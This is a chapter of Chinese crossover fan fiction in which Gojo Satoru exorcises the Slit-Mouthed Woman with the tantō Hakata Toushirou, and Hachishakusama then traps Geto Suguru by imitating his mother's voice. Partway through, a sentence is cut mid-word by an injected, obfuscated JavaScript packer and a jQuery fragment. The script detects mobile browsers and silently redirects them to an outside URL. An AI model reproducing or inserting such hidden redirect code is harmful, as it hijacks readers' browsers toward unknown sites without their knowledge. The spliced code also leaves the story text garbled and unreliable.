五条悟蹲下身,仔细地看了看趴在地上一动不动的裂口女。
应该没死吧?
裂口女的身上,没有冒出被祓除后化作的紫色烟尘,只是安静的趴着,仿佛被脑袋上插着的短刀定住了身体。
总感觉这家伙不怀好意,
五条悟没有关闭无下限术式,而是握着短刀的刀柄晃了晃。
“刚刚不还精神得很吗,怎么现在突然间老实了?”
他半蹲下身,右腿压在了趴在地上的咒灵身上,防止她有任何不老实的偷袭动作,笑着抬手按了按只有大半个刀柄露在外面的短刀。
一旦咒灵有任何想要偷袭的迹象,他就会完全展开无下限术式,直接把裂口女按进地面。
即使这里是她的领域,又怎么样?
相信我,被斥力压碎身躯的感觉,一定比被人剪碎脸颊还要疼。
裂口女凄惨哀嚎了两声,原本还想趁他不备偷袭一下,现在那把该死的短刀不停地在她的脑袋里搅动,几乎就要直接祓除她了。
求生的本能一时间占据了意识,她趴在地上,乖巧地任由少年像拨弄琴键一样按着刀柄。
我宁愿被那个黑头发的小眼睛术师收服,也不想受这样的折磨啊!
她极具求生欲望的解除了领域,保持着被五条悟按在地上的被动姿态,带着少年一起回到了现实之中。
五条悟默不作声地观察着四周转换的过程,六眼加速分析着领域构成和消失时咒力的流动。
夏油杰倚在墙边,抿着嘴角,抱着胳膊耐心等待着,一看到眼前突然多了两个身影,立刻抬手施展了咒灵操术。
五条悟长出了口气,把插进不断分解化作一颗咒灵球的裂口女脑袋里的短刀拔出。
还好咒灵没有血液,要不然收拾起来就麻烦了。
他甩了甩依旧锋利光洁的刀身,将短刀插回了刀鞘里。
随意地向前一抛,金发的小男孩显现在眼前。
“辛苦博多啦。”
他揉了揉博多藤四郎带着橘色帽子的脑袋,他还是第一次用巴形薙刀之外的刀斩杀咒灵呢,不由得有些担心。
即使自己注入的咒力非常稀少,没有伤到短刀的刀身。
还是有些担心,这些没有被他使用过的刀,会不会有些排异反应。
“大将,”博多看了看自己的手,满眼新奇地看着五条悟,“您还是第一次用我的本体战斗呢,感觉真是非常奇妙。”
能感觉到审神者的咒力与通常用于手入的灵力截然不同。
如果把灵力称为净化和接近于神力的纯净力量的话,
那审神者战斗中和供给给他们用于显形所使用的咒力,则充斥着负面情绪,无论从任何角度来感受,都与纯净和神圣毫无关联的力量。
这种力量本身,也会损坏付丧神的身体,所以审神者才会只注入非常稀少的部分吧。
审神者大人,是非常温柔的人呢。
“显形的身体没有感觉不适吧?”
五条悟让小男孩原地转了一圈,仔细地用六眼检查了眼前的付丧神确实没有外伤和异常,才稍微放下心来。
他可不想等回去被藤四郎的大家长一期一振说教。
“状态非常好呢,大将不用担心我!”
博多藤四郎乖巧地笑着,乖顺的接受他的摸摸头。
“悟。”
夏油杰吃完了那颗咒灵球,抱着手臂等着他,他抬抬眼,示意五条悟介绍一下。
“这是博多藤四郎,原型是短刀。”
五条悟后知后觉地替他介绍着小短刀,他差点忘了夏油杰还在旁边等着呢。
“博多,你之后就跟山田到本家去,不要听除了我家老头子之外任何人的安排,也尽量不要接触其他的咒术师和咒灵,如果有任何情况,直接让老头子联络我就好。”
五条悟像爱护小孩子的长辈一样细致的叮嘱着,把自己揣在身上以防万一的高级御守系在了小短刀的盔甲上。
虽然,满级的极化短刀,似乎也没什么人能伤到他吧。
五条家受到商业天才的眷顾,短短几周之间迅速积攒财富进军投资行业,一跃成为赫赫有名的天使投资人的迷之传说,悄然展开。
“我知道了,大将。”
博多点了点头,跟着山田新荷离开了医院,还在门口冲着五条悟挥了挥手。
“好像妈妈啊,悟。”
夏油杰站在他旁边,精准地吐槽着。
“你说什么啊,夏油队员,风太大我怎么听不清?”
五条悟笑着抬手拽着他的钢铁脸皮,仗着对方根本不会受伤而使了牛劲。
“五条妈妈,多么的和蔼可亲~”
夏油杰根本不觉得脸上疼痛,腔调诡异地棒读着,像去参加了母亲节的文艺演出。
五条悟额头上蹦起的青筋已经够下一盘五子连珠了。
你等着,夏油杰,
等回高专我一定把你的脸打成熊猫。
他突然发现,夏油杰今天带的头绳,居然是棕色的。
五条悟搭上夏油杰的肩膀,把揣在裤兜里的那根夏油杰之前给他的头绳拿了出来。
“杰,”
他把手里攥着的头绳举起,近距离地比较着两根发绳,
“你有很多根棕色的发绳吗?”
“嗯?”
夏油杰有些迟疑地看着他的动作。
那根发绳上面没有任何其他的多余装饰,倒确实很像是他平时会用的款式。
“这种头绳,我倒是有很多,大概是巧合吧。”
五条悟随意地歪了歪头,
“你的每一根上,都有这个缺口吗?”
那根发绳上,有一个非常微妙的,像是经常使用过后,磨得格外薄的部分。
和夏油杰今天戴着的发绳,近乎一模一样。
一段与嘈杂的医院截然不同的木屐踏在地上的清脆声音,突然闯入了他们的身边。
夏油杰刚想说些什么,就被五条悟按住了脑袋。
“嘘,别说话,别去看。”
五条悟的另一只手握紧了他的手腕。
他就说为什么那个小孩能逃得过裂口女的攻击,甚至招来裂口女的追踪。
那个小孩,确实是裂口女的猎物。
但是这里,不只有裂口女。
“popopo……”
木屐的声音越来越近,传闻中八尺大人特有的声音也越来越近。
五条悟紧紧地按着他的脑袋,自己直直地看向地面。
手上攥着的发绳,不知道在何时,脱离了他的手掌,化作了一条纤长的黑色的头发,回到了八尺大人的身上。
那不只是拯救了夏油杰的人留下的线索。
也是一个,
八尺大人的标记。
八尺大人和裂口女同时出现在这附近的时候,两只非同凡响的假想咒灵形成了某种相互制衡的状态,互相干扰着。
八尺大人出现在裂口女的领域里,打扰了裂口女的捕猎。
导致裂口女要离开自己诞生的街道,进入还活着的猎物所处的室内,亲自来解决侥幸逃脱的猎物。
他们也因此而出现在猎物所在的病房。
八尺大人就可以,
感受到自己标记的猎物的位置。
说不定正是夏油杰寻找到自己当年手里握着的头绳的行动,才让八尺大人出现在这里。
“小杰?”
夏油杰突然听到了自己本应该在家里的母亲的声音。
“怎么在这里呀,生病了吗?哎呀,刚回学校没多久,怎么就跑到医院来了?”
夏油杰知道,自己的妈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096103|155909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妈应该和妹妹一起,在离这里不远的家里,安全的过着属于普通人的生活。
但是,那声音仿佛带着某种奇怪的信服力,让他不自觉地沉浸其中,被其迷惑。
“妈,妈妈?”
他轻轻呢喃着,用尽了全身的力气,挣脱了五条悟的手掌,向身后看去。
“这里很危险,快点!”
离开这里……
他呆愣地仰着头,脸上保持着那种焦急与担心交织的表情,投射在他的眼瞳中的,确实是他的母亲的模样。
可他身后,并没有人类。
穿着一身纯白色和服的高大咒灵裂开一个饱含着母爱的笑容,白色帽檐下茂密浓黑的发丝疯狂生长,代替双手,把夏油杰包裹在其中。
“妈妈来接你了,小杰。”
八尺大人在传说中,可以模仿人类的声音和外貌,借此来迷惑猎物。
这是属于夏油杰的,
命运专为他量身打造的,无论多少次重新来过,
无论世界意识为他费尽心思如何选择,都无法避开的,会导致夏油杰死亡的,
事件B。
也同时是,通过不同的选择和行为,会发生改变的,区分不同世界走向的,极其重要的时间节点。
“杰!”
五条悟伸手去拉他的手腕,被一同卷进了黑色发丝的缠绕中。
就像一场漫长,却已被遗忘的迷梦。
夏油杰在仿佛无尽头的黑色旋转中,突然回忆起了潜藏在记忆深处的,从未被他忘记的那一日。
那是一个蒙着层层迷雾与阴雨的,令人感到浑身阴冷的午后。
刚刚上小学校没多久的夏油杰,
一个人经过了平时惯会路过的破旧车站。
原本应该是父亲来接他回去,
但那日的阴雨绵绵,阻挡了父亲的路。
只能沿着已经无比熟悉的道路独自一人走回家。
远远就能看到,一个白色的人影,正坐在车站破旧的长凳上,等待着什么。
夏油杰从小便展露出与其他人的不同,
他眼里的世界充斥着丑陋而恶心的怪物。
那是他与生俱来的天赋,
他在襁褓之中,便不仅仅能注视到母亲洋溢着幸福的表情。
他与趴伏在天花板上的丑陋怪物对视,尚且年幼的他,只能惊恐的啼哭。
成长起来的他,只是在愤怒时轻轻地挥手,那些恶心的怪物就像被什么东西控制了一样,在他的手心化作一枚昭示着异常与怪异的黑球。
那很难吃,非常难吃。
夏油杰不明白,他的父母也不能理解。
甚至都未能得到上天眷顾,连儿子眼中的世界都无法得知的他们,
只能尽自己的努力,给予夏油杰所能给予的,普通人限度上最大的关心与爱护。
那已经是他们所能给予的一切。
从小便习惯于这一切的夏油杰,并没有意识到。
自己眼前所看到的,有着浓密黑色长发的,穿着白色和服的女人,并不是自己和蔼而温柔的母亲。
“小杰,”
那白色衣袖向他伸出,
属于母亲的,令人发自内心感到安心的声音。
他自然地被轻松就能捏碎他脆弱脖颈的黑色发丝揽入怀中。
窒息感,被何种物品紧紧缠绕的痛苦。
那是一场漫长的噩梦。
夏油杰恍惚的意识突然苏醒,他用力地拽着被卷进这一切的五条悟。
“悟,”
他大声的喊着,
声音在无尽头的旋转中变得破碎,
“相信我,只要有我们在的话!”
缠绕他的噩梦终会结束。
被卷入八尺大人发丝的两人,一同掉落在破旧的车站里。